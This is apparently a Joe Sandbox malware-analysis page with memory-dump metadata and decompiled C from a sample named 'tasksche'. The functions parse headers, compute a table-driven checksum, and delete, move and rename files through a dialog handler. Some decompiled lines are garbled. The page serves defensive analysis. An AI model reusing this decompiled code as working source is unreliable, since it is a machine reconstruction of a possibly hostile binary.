0x0040c619
0x0040c61a
0x0040c61d
0x0040c61f
0x0040c620
0x0040c620
0x0040c623
0x0040c623
0x0040c630
0x0040c63d
0x0040c64a
0x0040c657
0x0040c65c
0x0040c65f
0x0040c660
0x0040c662
0x0040c663
0x0040c663
0x0040c666
0x0040c668
0x0040c669
0x0040c669
0x0040c66c
0x0040c66c
0x00000000
0x0040c5ef
0x0040c5f2
0x0040c5f4
0x0040c5f7
0x0040c5fa
0x0040c5fa
0x0040c5fc
0x0040c5fc
0x0040c600
0x0040c603
0x0040c604
0x0040c609
0x0040c60c
0x0040c60c
0x0040c66f
0x0040c66f
0x0040c66f
0x0040c5f2
0x0040c672
0x0040c676
0x00000000
0x00000000
0x0040c678
0x0040c67f
0x0040c681
0x0040c685
0x0040c696
0x0040c697
0x0040c69a
0x0040c69f
0x0040c6a0
0x0040c6a3
0x00000000
0x00000000
0x00000000
0x0040c6a3
0x0040c685
0x0040c6a5
0x0040c6a9
0x0040c6ab
0x0040c6ac
0x0040c6ac
0x0040c6b2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c6b2
0x0040c678
0x00000000
0x0040c6b4
0x0040c6b4
0x0040c5a0
0x00000000
0x0040c52f
0x0040c53a
0x0040c53c
0x0040c540
0x0040c551
0x0040c552
0x0040c555
0x0040c55a
0x0040c55b
0x0040c55e
0x00000000
0x00000000
0x00000000
0x0040c55e
0x0040c540
0x0040c560
0x0040c564
0x0040c566
0x0040c567
0x0040c567
0x0040c56d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c56d
0x0040c52f
0x0040c6c1
0x0040c6c1

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aae54acdac3927cc066ee4afd89015ce1ad81bcf754d871dab6d471837bf2d3e
Instruction ID: ff0af43037c4d522a8ee791cbe8e93d8d44487ff0532052a3f1666816209b0e9
Opcode Fuzzy Hash: aae54acdac3927cc066ee4afd89015ce1ad81bcf754d871dab6d471837bf2d3e
Instruction Fuzzy Hash: CF51F874804298AACF11CFA4C4D05FDBFB0EF5A328F6955BFD8857B282C2356646CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041450F Relevance: .1, Instructions: 109
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0041450F(void* __ebx, intOrPtr __ecx, signed int* _a4, char _a7, signed int* _a8, signed char _a11) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _t40;
				signed int _t41;
				signed int _t47;
				intOrPtr _t48;
				unsigned int _t49;
				signed int _t53;
				void* _t57;
				void* _t58;
				signed char _t60;
				void* _t64;
				unsigned char _t75;
				intOrPtr _t87;
				signed int* _t91;
				signed int* _t92;
				signed int _t93;
				intOrPtr _t94;

				_t58 = __ebx;
				_t92 = _a4;
				_t91 = _a8;
				_t91[3] = _t91[3] & 0x00000000;
				_v16 = __ecx;
				if(_t92[2] != 0 ||  *_t92 <=  *((intOrPtr*)(__ecx + 0x78)) - 7) {
					L3:
					_push(_t58);
					E004097BA(_t92,  ~(_t92[1]) & 0x00000007);
					_t60 = E004097D1(_t92) >> 8;
					_a11 = _t60;
					E004097BA(_t92, 8);
					_t40 = _t60 & 0x000000ff;
					_t64 = (_t40 >> 0x00000003 & 0x00000003) + 1;
					if(_t64 == 4) {
						L9:
						_t41 = 0;
						L13:
						return _t41;
					}
					_t10 = _t64 + 2; // 0x3
					_t91[3] = _t10;
					_t91[1] = (_t40 & 0x00000007) + 1;
					_a7 = E004097D1(_t92) >> 8;
					E004097BA(_t92, 8);
					_t47 = 0;
					_v12 = 0;
					if(_t64 <= 0) {
						L8:
						_t75 = _a11;
						 *_t91 = _t47;
						if((_t47 >> 0x00000010 ^ _t47 >> 0x00000008 ^ _t47 ^ _t75 ^ 0x0000005a) == _a7) {
							_t93 =  *_t92;
							_t87 = _t93 + _t47 - 1;
							_t48 = _v16;
							_t91[2] = _t93;
							_t94 =  *((intOrPtr*)(_t48 + 0x7c));
							if(_t94 < _t87) {
								_t87 = _t94;
							}
							 *((intOrPtr*)(_t48 + 0x7c)) = _t87;
							_t41 = 1;
							_t91[4] = _t75 >> 0x00000006 & 0x00000001;
							_t91[4] = _t75 >> 7;
							goto L13;
						}
						goto L9;
					}
					_v8 = 0;
					do {
						_t49 = E004097D1(_t92);
						_v8 = _v8 + 8;
						_v12 = _v12 + (_t49 >> 8 << _v8);
						_t53 = _t92[1] + 8;
						 *_t92 =  *_t92 + (_t53 >> 3);
						_t64 = _t64 - 1;
						_t92[1] = _t53 & 0x00000007;
					} while (_t64 != 0);
					_t47 = _v12;
					goto L8;
				}
				_t57 = E004123EB(__ebx, __ecx);
				if(_t57 != 0) {
					goto L3;
				}
				return _t57;
			}

0x0041450f
0x00414516
0x0041451a
0x0041451d
0x00414525
0x00414528
0x00414541
0x00414546
0x0041454d
0x0041455b
0x00414562
0x00414565
0x0041456a
0x00414575
0x00414579
0x004145f6
0x004145f6
0x00414624
0x00000000
0x00414624
0x0041457b
0x00414581
0x00414587
0x00414596
0x00414599
0x0041459e
0x004145a0
0x004145a5
0x004145d9
0x004145e5
0x004145ef
0x004145f4
0x004145fa
0x004145fc
0x00414600
0x00414603
0x00414606
0x0041460b
0x0041460d
0x0041460d
0x0041460f
0x00414617
0x0041461e
0x00414621
0x00000000
0x00414621
0x00000000
0x004145f4
0x004145a7
0x004145aa
0x004145ac
0x004145b4
0x004145bd
0x004145c3
0x004145cb
0x004145d0
0x004145d1
0x004145d1
0x004145d6
0x00000000
0x004145d6
0x00414534
0x0041453b
0x00000000
0x00000000
0x00414628

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51b2d21a1de5244f25583c5063fbcf28c6649e746e5830653507aa8b0461497a
Instruction ID: 1b781f1f23d015917a337ea3c6206954a5313e6084e2437016288461132a8366
Opcode Fuzzy Hash: 51b2d21a1de5244f25583c5063fbcf28c6649e746e5830653507aa8b0461497a
Instruction Fuzzy Hash: EF312372A10605ABCB04DF38C4912DEBBE2EF81308F14812FD865DB782D37DA945CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00405610 Relevance: .1, Instructions: 73
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E00405610(unsigned int _a4, signed char _a8, unsigned int _a12) {
				signed char _t30;
				signed char _t32;
				signed char _t52;
				signed char _t57;
				unsigned int _t72;

				_t52 = _a8;
				_t30 = _a4;
				_t72 = _a12;
				while(_t72 > 0 && (_t52 & 0x00000007) != 0) {
					_t30 = _t30 >> 0x00000008 ^  *(0x4315a0 + ( *_t52 & 0x000000ff ^ _t30 & 0x000000ff) * 4);
					_t72 = _t72 - 1;
					_t52 = _t52 + 1;
				}
				if(_t72 >= 8) {
					_a4 = _t72 >> 3;
					do {
						_t57 =  *(_t52 + 4);
						_t32 = _t30 ^  *_t52;
						_t72 = _t72 - 8;
						_t52 = _t52 + 8;
						_t26 =  &_a4;
						 *_t26 = _a4 - 1;
						_t30 =  *(0x4319a0 + (_t57 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4315a0 + (_t57 >> 0x18) * 4) ^  *(0x431da0 + (_t57 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4325a0 + (_t32 >> 0x18) * 4) ^  *(0x4329a0 + (_t32 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x432da0 + (_t32 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4321a0 + (_t57 & 0x000000ff) * 4) ^  *(0x4331a0 + (_t32 & 0x000000ff) * 4);
					} while ( *_t26 != 0);
					L9:
					while(_t72 > 0) {
						_t30 = _t30 >> 0x00000008 ^  *(0x4315a0 + ( *_t52 & 0x000000ff ^ _t30 & 0x000000ff) * 4);
						_t72 = _t72 - 1;
						_t52 = _t52 + 1;
					}
					return _t30;
				}
				goto L9;
			}

0x00405613
0x00405616
0x0040561a
0x0040561e
0x00405632
0x00405639
0x0040563a
0x0040563a
0x00405640
0x0040564b
0x0040564f
0x0040564f
0x00405652
0x004056bc
0x004056bf
0x004056c2
0x004056c2
0x004056c5
0x004056c5
0x00000000
0x004056e0
0x004056d7
0x004056de
0x004056df
0x004056df
0x004056e7
0x004056e7
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 866ee34adc6fec30ee19582cd252525266032b464ccb2f20f1e66a817629a287
Instruction ID: 2ccb413243c8e3f3810094ea986113c02d7a387cc67c693c5ca68079d889c8bb
Opcode Fuzzy Hash: 866ee34adc6fec30ee19582cd252525266032b464ccb2f20f1e66a817629a287
Instruction Fuzzy Hash: 2821D872A106716BD7048F65EC8412733A2D7CA3617DB4237DF445B3B1D135B922CAE8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E857 Relevance: 72.2, APIs: 35, Strings: 6, Instructions: 411
windowfileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040E857(void* __esi) {
				intOrPtr _t271;
				void* _t274;
				void* _t349;
				short* _t352;
				void* _t354;

				E0041A4DC(E004297C6, _t354);
				_t271 = E0041AAF0(0x1bc84);
				if( *((intOrPtr*)(_t354 + 0xc)) == 0) {
					L165:
					 *[fs:0x0] =  *((intOrPtr*)(_t354 - 0xc));
					return _t271;
				}
				_t271 = E0040D781(_t354 - 0x11, _t354 - 0xec90, __esi,  *((intOrPtr*)(_t354 + 0xc)), _t354 - 0x4440, _t354 + 0xf, 0x1000);
				 *((intOrPtr*)(_t354 + 0xc)) = _t271;
				if(_t271 != 0) {
					_push(__esi);
					do {
						_t349 = GetFileAttributesW;
						_t336 = _t354 - 0x1bc90;
						_t352 = 0x438818;
						_t274 = _t354 - 0x4440;
						 *(_t354 - 0x10) = _t354 - 0x1bc90;
						 *((intOrPtr*)(_t354 - 0x18)) = 6;
						goto L4;
						L6:
						while(E00411E60(_t354 - 0xec90,  *((intOrPtr*)(0x430100 +  *(_t354 - 0x10) * 4))) != 0) {
							 *(_t354 - 0x10) =  *(_t354 - 0x10) + 1;
							if( *(_t354 - 0x10) < 0xe) {
								continue;
							} else {
								goto L163;
							}
						}
						if( *(_t354 - 0x10) > 0xd) {
							goto L163;
						}
						switch( *((intOrPtr*)( *(_t354 - 0x10) * 4 +  &M0040F443))) {
							case 0:
								__eflags =  *((intOrPtr*)(_t354 + 0x10)) - 2;
								if( *((intOrPtr*)(_t354 + 0x10)) != 2) {
									goto L163;
								}
								E00419C9B(_t354 - 0x8c90, 0x800);
								E0040A146(_t354 - 0x8c90, _t354 - 0x4440, _t354 - 0xfc90, 0x800);
								E00409433(_t354 - 0x7c90);
								 *(_t354 - 4) =  *(_t354 - 4) & 0x00000000;
								E0040945C(_t354 - 0x7c90, _t354 - 0xfc90);
								E004067E1(_t354 - 0x5c88);
								_push(0);
								_t292 = E0040960E(_t354 - 0x7c90, _t347, _t354 - 0x5c88);
								__eflags = _t292;
								if(_t292 == 0) {
									L27:
									 *(_t354 - 4) =  *(_t354 - 4) | 0xffffffff;
									E00409449(_t354 - 0x7c90);
									goto L163;
								} else {
									_t352 = L"%s.%d.tmp";
									do {
										SetFileAttributesW(_t354 - 0x5c88, 0);
										__eflags =  *((char*)(_t354 - 0x4c7c));
										if(__eflags == 0) {
											L19:
											_t297 = GetFileAttributesW(_t354 - 0x5c88);
											__eflags = _t297 - 0xffffffff;
											if(_t297 == 0xffffffff) {
												goto L26;
											}
											_t301 = DeleteFileW(_t354 - 0x5c88);
											__eflags = _t301;
											if(_t301 != 0) {
												goto L26;
											} else {
												 *(_t354 - 0x10) =  *(_t354 - 0x10) & _t301;
												_push(_t301);
												goto L23;
												L23:
												E0040BC16(_t354 - 0x1040, 0x800, _t352, _t354 - 0x5c88);
												_t356 = _t356 + 0x14;
												_t306 = GetFileAttributesW(_t354 - 0x1040);
												__eflags = _t306 - 0xffffffff;
												if(_t306 != 0xffffffff) {
													_t67 = _t354 - 0x10;
													 *_t67 =  *(_t354 - 0x10) + 1;
													__eflags =  *_t67;
													_push( *(_t354 - 0x10));
													goto L23;
												} else {
													_t309 = MoveFileW(_t354 - 0x5c88, _t354 - 0x1040);
													__eflags = _t309;
													if(_t309 != 0) {
														MoveFileExW(_t354 - 0x1040, 0, 4);
													}
													goto L26;
												}
											}
										}
										E0040AA7D(__eflags, _t354 - 0x8c90, _t354 - 0x1040, 0x800);
										E0040A116(__eflags, _t354 - 0x1040, 0x800);
										_t318 = E0041A7AF(_t354 - 0x8c90);
										 *((intOrPtr*)(_t354 - 0x18)) = _t318;
										__eflags = _t318 - 4;
										if(_t318 < 4) {
											L17:
											_t320 = E0040A0A4(_t354 - 0x4440);
											__eflags = _t320;
											if(_t320 != 0) {
												goto L27;
											}
											L18:
											_t322 = E0041A7AF(_t354 - 0x5c88);
											__eflags = 0;
											 *((short*)(_t354 + _t322 * 2 - 0x5c86)) = 0;
											E0041A820(_t349, _t354 - 0x40, 0, 0x1e);
											_t356 = _t356 + 0x10;
											_push(0x14);
											_pop(_t325);
											 *((short*)(_t354 - 0x30)) = _t325;
											 *((intOrPtr*)(_t354 - 0x38)) = _t354 - 0x5c88;
											 *((intOrPtr*)(_t354 - 0x3c)) = 3;
											SHFileOperationW(_t354 - 0x40);
											goto L19;
										}
										_t330 = E0041A7AF(_t354 - 0x1040);
										__eflags =  *((intOrPtr*)(_t354 - 0x18)) - _t330;
										if( *((intOrPtr*)(_t354 - 0x18)) > _t330) {
											goto L18;
										}
										goto L17;
										L26:
										_push(0);
										_t299 = E0040960E(_t354 - 0x7c90, _t347, _t354 - 0x5c88);
										__eflags = _t299;
									} while (_t299 != 0);
									goto L27;
								}
							case 1:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) == 0) {
									__eax =  *0x441850;
									__eflags = __eax;
									 *((char*)(__ebp - 0x12)) = __eax == 0;
									__eflags =  *((char*)(__ebp - 0x12));
									if( *((char*)(__ebp - 0x12)) == 0) {
										__eax = E0041A7C9(__eax, L"<br>");
										_pop(__ecx);
										_pop(__ecx);
									}
									__eflags =  *((char*)(__ebp - 0x11));
									if(__eflags == 0) {
										__edi = __ebp + 0xc;
										__edi = E0040D92D(__ebp + 0xc, __eflags);
									} else {
										__edi = __ebp - 0x4440;
									}
									__eflags =  *((char*)(__ebp - 0x12));
									if( *((char*)(__ebp - 0x12)) == 0) {
										__esi = E0041A7AF( *0x441850);
									} else {
										__esi = 0;
									}
									__eax = E0041A7AF(__edi);
									__eax = __eax + __esi;
									_push(__eax);
									_push( *0x441850);
									__eax = E0041A594(__ebx, __edi, __esi, __eflags);
									__esp = __esp + 0xc;
									__eflags =  *((char*)(__ebp - 0x12));
									 *0x441850 = __eax;
									if( *((char*)(__ebp - 0x12)) != 0) {
										__ecx = 0;
										__eflags = 0;
										 *__eax = __cx;
									}
									__eax = E0041A7C9(__eax, __edi);
									__eflags =  *((char*)(__ebp - 0x11));
									_pop(__ecx);
									_pop(__ecx);
									if(__eflags == 0) {
										_push(__edi);
										__eax = E0041A506(__ebx, __edi, __esi, __eflags);
										_pop(__ecx);
									}
								}
								goto L163;
							case 2:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) == 0) {
									__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
								}
								goto L163;
							case 3:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) != 0) {
									goto L163;
								}
								__eflags =  *0x44187a;
								if( *0x44187a != 0) {
									goto L163;
								}
								__eax = 0;
								__eflags =  *(__ebp - 0x4440) - 0x22;
								__edi = __ebp - 0x4440;
								 *(__ebp - 0x18) = __edi;
								 *(__ebp - 0x1040) = __ax;
								if( *(__ebp - 0x4440) == 0x22) {
									__edi = __ebp - 0x443e;
									 *(__ebp - 0x18) = __edi;
								}
								__eax = E0041A7AF(__edi);
								__eflags = __eax - __ebx;
								if(__eax >= __ebx) {
									goto L163;
								} else {
									__eax = __edi->i & 0x0000ffff;
									__eflags = __ax - 0x2e;
									if(__ax != 0x2e) {
										L52:
										__eflags = __ax - 0x5c;
										if(__ax == 0x5c) {
											L64:
											_push(__edi);
											L65:
											__eax = __ebp - 0x1040;
											_push(__ebp - 0x1040);
											__eax = E0041A7F7();
											L66:
											_pop(__ecx);
											_pop(__ecx);
											L67:
											__eax = __ebp - 0x1040;
											__eax = E0041CA4F(__ebp - 0x1040, 0x22);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__eflags =  *((short*)(2 + __eax));
												if( *((short*)(2 + __eax)) == 0) {
													__ecx = 0;
													__eflags = 0;
													 *__eax = __cx;
												}
											}
											__ebp - 0x1040 = E0041A7F7(__esi, __ebp - 0x1040);
											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0x1040 = E0040DB16(__esi, __ebp - 0x1040, __ebx);
											__edi = GetDlgItem( *(__ebp + 8), 0x66);
											__ebp - 0x1040 = SetWindowTextW(__edi, __ebp - 0x1040);
											SendMessageW(__edi, 0x143, 0, __esi) = __ebp - 0x1040;
											__eax = E0041AA21(__esi, __ebp - 0x1040);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__ebp - 0x1040 = SendMessageW(__edi, 0x143, 0, __ebp - 0x1040);
											}
											goto L163;
										}
										__eflags = __ax;
										if(__ax == 0) {
											L55:
											__eax = __ebp - 0x1c;
											__eax = RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion", 0, 1, __ebp - 0x1c);
											__eflags = __eax;
											if(__eax == 0) {
												__ebp - 0x10 = __ebp - 0x1040;
												__eax = __ebp - 0x20;
												 *(__ebp - 0x10) = 0x1000;
												RegQueryValueExW( *(__ebp - 0x1c), L"ProgramFilesDir", 0, __ebp - 0x20, __ebp - 0x1040, __ebp - 0x10) = RegCloseKey( *(__ebp - 0x1c));
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eax = 0x7ff;
												__eflags =  *(__ebp - 0x10) - 0x7ff;
												if( *(__ebp - 0x10) < 0x7ff) {
													__eax =  *(__ebp - 0x10);
												}
												__ecx = 0;
												__eflags = 0;
												 *(__ebp + __eax * 2 - 0x1040) = __cx;
											}
											__eflags =  *(__ebp - 0x1040);
											if( *(__ebp - 0x1040) != 0) {
												__eax = __ebp - 0x1040;
												__eax = E0041A7AF(__ebp - 0x1040);
												__eflags =  *((short*)(__ebp + __eax * 2 - 0x1042)) - 0x5c;
												if( *((short*)(__ebp + __eax * 2 - 0x1042)) != 0x5c) {
													__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040, "\\");
													_pop(__ecx);
													_pop(__ecx);
												}
											}
											__edi = E0041A7AF(__edi);
											__eax = __ebp - 0x1040;
											__edi = __edi + E0041A7AF(__ebp - 0x1040);
											__eflags = __edi - 0x7ff;
											if(__edi >= 0x7ff) {
												goto L67;
											} else {
												__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040,  *(__ebp - 0x18));
												goto L66;
											}
										}
										__eflags = __edi->i - 0x3a;
										if(__edi->i == 0x3a) {
											goto L64;
										}
										goto L55;
									}
									__eflags = __edi->i - 0x5c;
									if(__edi->i != 0x5c) {
										goto L52;
									}
									_t103 = __edi + 4; // 0x26
									__eax = _t103;
									__eflags =  *__eax;
									if( *__eax == 0) {
										goto L163;
									}
									_push(__eax);
									goto L65;
								}
							case 4:
								__eflags =  *0x441874 - 1;
								__eflags = __eax - 0x441874;
								__edi->i = __edi->i + __ecx;
								__eflags = __edi->i & __dh;
								_push(es);
								 *__eax =  *__eax + __al;
								__eflags =  *__eax;
							case 5:
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eflags = __eax;
								if(__eax == 0) {
									L84:
									 *0x441831 = 0;
									 *0x441830 = 1;
									goto L163;
								}
								__eax = __eax - 0x30;
								__eflags = __eax;
								if(__eax == 0) {
									 *0x441831 = 0;
									L83:
									 *0x441830 = 0;
									goto L163;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax == 0) {
									goto L84;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax != 0) {
									goto L163;
								}
								 *0x441831 = 1;
								goto L83;
							case 6:
								__eflags =  *(__ebp + 0x10) - 4;
								if( *(__ebp + 0x10) != 4) {
									goto L94;
								}
								__eax = __ebp - 0x4440;
								__eax = E0041AA21(__ebp - 0x4440, L"<>");
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax == 0) {
									goto L94;
								}
								_push(0);
								goto L93;
							case 7:
								__eflags =  *(__ebp + 0x10) - 1;
								if(__eflags != 0) {
									L114:
									__eflags =  *(__ebp + 0x10) - 7;
									if( *(__ebp + 0x10) == 7) {
										__eflags =  *0x441874;
										if( *0x441874 == 0) {
											 *0x441874 = 2;
										}
										 *0x441870 = 1;
									}
									goto L163;
								}
								__ebp - 0x8c90 = GetTempPathW(__ebx, __ebp - 0x8c90);
								__ebp - 0x8c90 = E0040A116(__eflags, __ebp - 0x8c90, __ebx);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
								_push(0);
								__esi = L"%s%s%d";
								while(1) {
									_push( *0x4300c8);
									__ebp - 0x8c90 = __ebp - 0x1040;
									E0040BC16(__ebp - 0x1040, __ebx, __esi, __ebp - 0x8c90) = __ebp - 0x1040;
									_push(__ebp - 0x1040);
									__eax = __edi->i();
									__eflags = __eax - 0xffffffff;
									if(__eax == 0xffffffff) {
										break;
									}
									_t152 = __ebp - 0x10;
									 *_t152 =  *(__ebp - 0x10) + 1;
									__eflags =  *_t152;
									_push( *(__ebp - 0x10));
								}
								__ebp - 0x1040 = SetDlgItemTextW( *(__ebp + 8), 0x66, __ebp - 0x1040);
								__eflags =  *(__ebp - 0x4440);
								if( *(__ebp - 0x4440) == 0) {
									goto L163;
								}
								__eflags =  *0x44184a;
								if( *0x44184a != 0) {
									goto L163;
								}
								__eax = 0;
								 *(__ebp - 0x1440) = __ax;
								__eax = __ebp - 0x4440;
								__eax = E0041CA29(__ebp - 0x4440, 0x2c);
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax != 0) {
									L110:
									__eflags =  *(__ebp - 0x1440);
									if( *(__ebp - 0x1440) == 0) {
										__ebp - 0x1bc90 = __ebp - 0x4440;
										E0041A7F7(__ebp - 0x4440, __ebp - 0x1bc90) = __ebp - 0x19c90;
										__ebp - 0x1440 = E0041A7F7(__ebp - 0x1440, __ebp - 0x19c90);
									}
									__ebp - 0x4440 = E0040D24C(__ebp - 0x4440);
									__eax = 0;
									 *(__ebp - 0x3440) = __ax;
									__ebp - 0x1440 = __ebp - 0x4440;
									__eax = MessageBoxW( *(__ebp + 8), __ebp - 0x4440, __ebp - 0x1440, 0x24);
									__eflags = __eax - 6;
									if(__eax == 6) {
										goto L163;
									} else {
										 *0x441849 = 1;
										 *0x44183c = 1;
										__eax = EndDialog( *(__ebp + 8), 1);
										goto L114;
									}
								}
								__ecx = 0;
								__eflags =  *(__ebp - 0x4440) - __cx;
								if( *(__ebp - 0x4440) == __cx) {
									goto L110;
								}
								__eax = __ebp - 0x4440;
								while(1) {
									__eflags =  *__eax - 0x40;
									if( *__eax == 0x40) {
										break;
									}
									__ecx = __ecx + 1;
									__eax = __ebp + __ecx * 2 - 0x4440;
									__eflags =  *__eax;
									if( *__eax != 0) {
										continue;
									}
									goto L110;
								}
								__esi = __ecx + __ecx;
								__ebp + __esi - 0x443e = __ebp - 0x1440;
								__eax = E0041A7F7(__ebp - 0x1440, __ebp + __esi - 0x443e);
								_pop(__ecx);
								__eax = 0;
								__eflags = 0;
								_pop(__ecx);
								 *(__ebp + __esi - 0x4440) = __ax;
								goto L110;
							case 8:
								__eflags =  *(__ebp + 0x10) - 3;
								if( *(__ebp + 0x10) == 3) {
									__eflags =  *(__ebp - 0x4440);
									if(__eflags != 0) {
										__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
									}
									__edi = __ebp + 0xc;
									 *0x441854 = E0040D92D(__edi, __eflags);
								}
								 *0x44184b = 1;
								goto L163;
							case 9:
								__eflags =  *(__ebp + 0x10) - 5;
								if( *(__ebp + 0x10) != 5) {
									L94:
									 *0x44185c = 1;
									goto L163;
								}
								_push(1);
								L93:
								_push( *(__ebp + 8));
								__ecx = __ebp - 0x4440;
								__eax = E0040E46C(__ecx);
								goto L94;
							case 0xa:
								__eflags =  *(__ebp + 0x10) - 6;
								if( *(__ebp + 0x10) != 6) {
									goto L163;
								}
								__eax = 0;
								 *(__ebp - 0x2440) = __ax;
								__eax =  *(__ebp - 0x1bc90) & 0x0000ffff;
								__eax = E0041D265( *(__ebp - 0x1bc90) & 0x0000ffff);
								_push(__ebx);
								__eflags = __eax - 0x50;
								if(__eax == 0x50) {
									_push(0x43f822);
									__eax = __ebp - 0x2440;
									_push(__ebp - 0x2440);
									__eax = E00410B9C();
									 *(__ebp - 0x18) = 2;
								} else {
									__eflags = __eax - 0x54;
									__eax = __ebp - 0x2440;
									if(__eflags == 0) {
										_push(0x43e822);
										_push(__eax);
										__eax = E00410B9C();
										 *(__ebp - 0x18) = 7;
									} else {
										_push(0x440822);
										_push(__eax);
										__eax = E00410B9C();
										 *(__ebp - 0x18) = 0x10;
									}
								}
								__eax = 0;
								 *(__ebp - 0xbc90) = __ax;
								 *(__ebp - 0x4c40) = __ax;
								__ebp - 0x19c90 = __ebp - 0x6c88;
								__eax = E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c90);
								__eflags =  *(__ebp - 0x6c88) - 0x22;
								_pop(__ecx);
								_pop(__ecx);
								if( *(__ebp - 0x6c88) != 0x22) {
									__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
									__eflags = __al;
									if(__al != 0) {
										goto L148;
									}
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
									__eflags =  *(__ebp - 0x6c88);
									__edi = __ebp - 0x6c88;
									if( *(__ebp - 0x6c88) == 0) {
										goto L148;
									} else {
										goto L136;
									}
									do {
										L136:
										__eax = __edi->i & 0x0000ffff;
										__eflags = __ax - 0x20;
										if(__ax == 0x20) {
											L138:
											__esi = __ax & 0x0000ffff;
											__eax = 0;
											__edi->i = __ax;
											__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
											__eflags = __al;
											if(__al == 0) {
												__edi->i = __si;
												goto L145;
											}
											 *(__ebp - 0x10) = __edi;
											__eflags = __si - 0x2f;
											if(__si != 0x2f) {
												do {
													__edi =  &(__edi->i);
													__edi =  &(__edi->i);
													__eflags = __edi->i - 0x20;
												} while (__edi->i == 0x20);
												_push(__edi);
												__eax = __ebp - 0x4c40;
												L143:
												_push(__eax);
												E0041A7F7() =  *(__ebp - 0x10);
												_pop(__ecx);
												_pop(__ecx);
												 *( *(__ebp - 0x10)) = __si;
												goto L145;
											}
											_push(0x2f);
											_pop(__eax);
											 *(__ebp - 0x4c40) = __ax;
											__eax =  &(__edi->i);
											_push( &(__edi->i));
											__eax = __ebp - 0x4c3e;
											goto L143;
										}
										__eflags = __ax - 0x2f;
										if(__ax != 0x2f) {
											goto L145;
										}
										goto L138;
										L145:
										__edi =  &(__edi->i);
										__edi =  &(__edi->i);
										__eflags = __edi->i;
									} while (__edi->i != 0);
									__eflags =  *(__ebp - 0x10);
									if( *(__ebp - 0x10) != 0) {
										__ecx =  *(__ebp - 0x10);
										__eax = 0;
										__eflags = 0;
										 *( *(__ebp - 0x10)) = __ax;
									}
									goto L148;
								} else {
									__ebp - 0x19c8e = __ebp - 0x6c88;
